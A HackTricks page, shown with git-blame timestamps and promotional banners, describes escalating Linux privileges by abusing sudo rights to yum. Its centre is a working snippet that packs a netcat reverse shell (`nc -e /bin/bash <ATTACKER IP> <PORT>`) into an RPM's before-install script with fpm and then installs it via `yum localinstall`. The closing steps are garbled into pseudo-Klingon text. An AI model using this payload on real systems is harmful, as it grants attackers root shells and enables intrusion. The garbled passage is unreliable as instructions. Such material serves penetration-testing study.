hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

55 lines
3.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-01-06 22:59:36 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-06 22:59:36 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-06 22:59:36 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-08 21:36:15 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-06 22:59:36 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2020-11-26 04:33:08 +00:00
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
2022-05-01 12:41:36 +00:00
# Executing arbitrary commands via RPM Packages
## Checking the Environment
2020-11-26 04:33:08 +00:00
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
2022-05-01 12:41:36 +00:00
### A working example of this vector
2020-11-26 04:33:08 +00:00
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
2022-05-01 12:41:36 +00:00
## Packing an RPM
2020-11-26 04:33:08 +00:00
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
2024-02-10 17:52:19 +00:00
# qetlh yIqIm
vaj vItlhutlh `yum` Hoch 'ej Hoch-ghItlhvam user vay'.
2020-11-26 04:33:08 +00:00
2024-02-10 17:52:19 +00:00
1. **rpm** vItlhutlh host
2. **ghItlh** netcat listener [**ghItlh** netcat listener](/shells/shells/linux#netcat) vay'
3. **yI'el** vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm`
2022-04-28 16:01:33 +00:00
<details>
2024-01-06 22:59:36 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-06 22:59:36 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-06 22:59:36 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-08 21:36:15 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2024-01-06 22:59:36 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>